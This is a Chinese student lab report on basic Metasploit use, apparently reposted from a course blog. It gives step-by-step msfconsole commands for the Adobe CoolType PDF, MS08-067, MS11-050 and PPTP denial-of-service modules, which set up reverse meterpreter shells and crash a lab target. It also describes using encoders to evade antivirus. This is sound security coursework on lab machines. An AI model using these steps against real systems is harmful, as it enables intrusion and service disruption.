码迷,mamicode.com
首页 > 其他好文 > 详细

20145326蔡馨熤《网络对抗》——MSF基础应用

时间:2017-04-13 00:24:53      阅读:282      评论:0      收藏:0      [点我收藏+]

标签:sp2   framework   share   pat   编码   新建   英文版   tcp连接   子目录   

20145326蔡馨熤《网络对抗》——MSF基础应用

实验后回答问题

  • 用自己的话解释什么是exploit,payload,encode.
  • exploit:起运输的作用,将数据传输到对方主机。
  • payload:其实就是指装载的“具体内容”。就相当于shellcode一样。
  • encode:对需要传输的文件进行编码,使其达到免杀效果。

实验总结与体会

  • 通过这次MSF基础应用的实验。我对MSF里面包括的6个模块都有了一定的认识,先是exploit模块,也就是我们说的渗透模块,包括主动渗透和被动渗透,老师在课上也生动的讲述了区别,我就不赘述了。exploit起运输的作用,将数据传输到对方主机。 post模块指的是在meterpreter中的那些具体操作,比如抓屏,抓键什么的。然后是payload模块,payload其实就是指装载的“具体内容”。就相当于shellcode一样。如果exploit相当于运载火箭,那么Payload就相当于要投放的弹头。payload有三个子目录,分别是single(独立),stager(传输器),stage(传输体)。encoder对需要传输的文件进行编码,使其达到免杀效果,还能消除像“0x00”这种坏字符;nop是空指令(0x90),在“滑翔区”中有重要的应用。最后一个是Auxiliary辅助模块,这是用来搜集情报的,哈哈哈。每一个模块都是一个源代码。我们可以在usr/share/metasploit—framework/modules/中查看每个模块。

  • 这次的实验过程真的是坎坷,我的电脑又卡,开两个虚拟机确实是有点尴尬。其实操作很简单,大家一看就会,但具体操作起来,就是会有各种问题,比如浏览器的版本问题,xp虚拟机的版本问题,任何一个小问题,都会让我们的实验结果不理想。不过还好,最后都一一克服了。也许这就是实验的魅力吧,老师故意给我们设置很多障碍,然后让我们自己想办法去跨越障碍,最后到达胜利的终点。重要的不是结果,重要的而是实验的这个过程,这个过程才能真正的让我们学到东西。不要轻言放弃,要激流勇进,克服一个个困难总是有成就感的!

Adobe阅读器渗透攻击

实验前准备

  • 两台虚拟机,其中一台为kali,一台为windows xp sp3(老师给的xp虚拟机winxpAttaker,密码:mima1234)。

  • 设置虚拟机网络为NAT模式,保证两台虚拟机可以ping通。

  • kali下打开显示隐藏文件。

实验过程

  • 在kali终端中开启msfconsole。

  • 输入命令use exploit/windows/fileformat/adobecooltypesing,进入该漏洞模块的使用。

  • 使用命令set payload windows/meterpreter/reverse_tcp设置攻击有效载荷。

  • 输入命令show options显示我们需要在攻击前需要设置的数据。

  • set FILENAME xxx.pdf

  • set LHOST "KALI 的 Ip"

  • set LPORT xxxx

  • 输入exploit,生成pdf文件,可以看到pdf所在文件夹,将pdf复制到靶机里。

技术分享

技术分享

技术分享

技术分享

  • 使用命令back退出当前模块,并使用use exploit/multi/handler新建一个监听模块。具体过程不赘述。

  • 使用命令exploit开始攻击,在xp中打开pdf。这里pdf比较难打开。我们可以选择在kali中等结果。如下图:

技术分享

  • 在靶机xp中使用命令netstat -an,看本地tcp连接。

技术分享

MS08_067漏洞渗透攻击实践

实验前准备

  • 两台虚拟机,其中一台为kali,一台为windows xp sp3(英文版)。

  • 在VMware中设置两台虚拟机网络为NAT模式,自动分配IP地址,之后两台虚拟机就可以直接ping通。

实验过程

  • 最开始ping了半天,ping不通,后来发现是ip地址不在同一个网段上,需要重新设置xp的ip地址。具体过程不赘述,地球人都会。因为这里是c类地址,所以前三位一样。我的kali ip是192.168.124.130,xp ip设置为:192.168.124.128。

  • 在kali终端中开启msfconsole。

  • 然后输入命令search ms08_067,会显示出找到的渗透模块。

技术分享

  • 输入命令use exploit/windows/smb/ms08067netapi,进入该漏洞模块的使用。

  • 再输入命令show payload会显示出有效的攻击载荷。

技术分享

  • show targets会显示出可以被攻击的靶机的操作系统型号。

技术分享

  • 使用命令set payload generic/shellreversetcp设置攻击有效载荷。再输入命令show options显示我们需要在攻击前需要设置的数据,如下图红框圈住的部分。

技术分享

  • set LHOST "kali Ip"

  • set RHOST "Win xp Ip"

技术分享

  • 看看两个主机能不能ping通。

技术分享

  • exploit开始攻击,在kali上执行ipconfig/all。

技术分享

技术分享

  • 在win xp上执行同样的命令,如下图所示:

技术分享

  • 利用meterpreter进行MS08_067远程漏洞攻击。

  • 进入ms08_067漏洞模块。

  • 设置payload:set payload windows/meterpreter/reverse_tcp。

  • show options,查看需要设置的ip地址。

技术分享

  • exploit后。ifconfig一下。

技术分享

  • ps一下

技术分享

  • 进入shell

技术分享

MS02 _ 063 _ pptp_dos辅助模块的使用

实验前准备

  • 两台虚拟机,其中一台为kali,一台为windows xp sp2/3。

  • 设置虚拟机网络为NAT模式,保证两台虚拟机可以相互间ping通(关闭靶机防火墙)。

实验过程

  • 关于辅助模块呢,不知道写啥。先show auxiliary看看。

技术分享

  • 挑了半天,找了个感兴趣的MS02 _ 063 _ pptp_dos。这是Windows 2000/XP中PPTP服务的拒绝服务攻击缺陷。

  • 攻击者利用此缺陷仅仅能够进行拒绝服务攻击,并不能获得任何信息和任何权限。

  • 风险等级:

    • Internet systems: 严重
    • Intranet systems: 低
    • Client systems: 低

技术分享

技术分享

  • 老套路,看看有啥参数要配的。配好后exploit看看效果!可以结合微软的安全报告找感觉。有了微软的安全报告后,各种漏洞对应的年份,适用的靶机系统,攻击效果都一一对应出来了。

  • 攻击靶机后,靶机蓝屏,我没来得及截屏,靶机就自己重启了。这个很厉害。

 

技术分享

 

技术分享

IE浏览器渗透攻击——MS11050安全漏洞

实验前准备

  • 两台虚拟机,其中一台为kali,一台为windows xp sp3(包含IE7)。

  • 设置虚拟机网络为NAT模式,保证两台虚拟机可以相互间ping通(关闭靶机防火墙)。

实验步骤

  • 在kali终端中开启msfconsole。
  • 输入命令use windows/browser/ms11050mshtml_cobjectelement,进入该漏洞模块。

  • 输入info查看信息:

技术分享

  • show targets看看目标:

技术分享

  • 再show option,都是老套路。

技术分享

  • 配好后看看。

技术分享

  • 然后exploit攻击!可以看见生成一个网址。

技术分享

  • 然后我们在靶机上登陆这个网址。最开始打不开,后面得知是浏览器的问题,于是我下了个IE7,问题才得到解决。

技术分享

技术分享

技术分享

  • 这个时候kali中显示一个session 1已经创建,输入命令sessions -i 1,开始连接。然后攻击成功了,抓个屏吧。再获取shell。

技术分享

20145326蔡馨熤《网络对抗》——MSF基础应用

标签:sp2   framework   share   pat   编码   新建   英文版   tcp连接   子目录   

原文地址:http://www.cnblogs.com/cxy1616/p/6701988.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!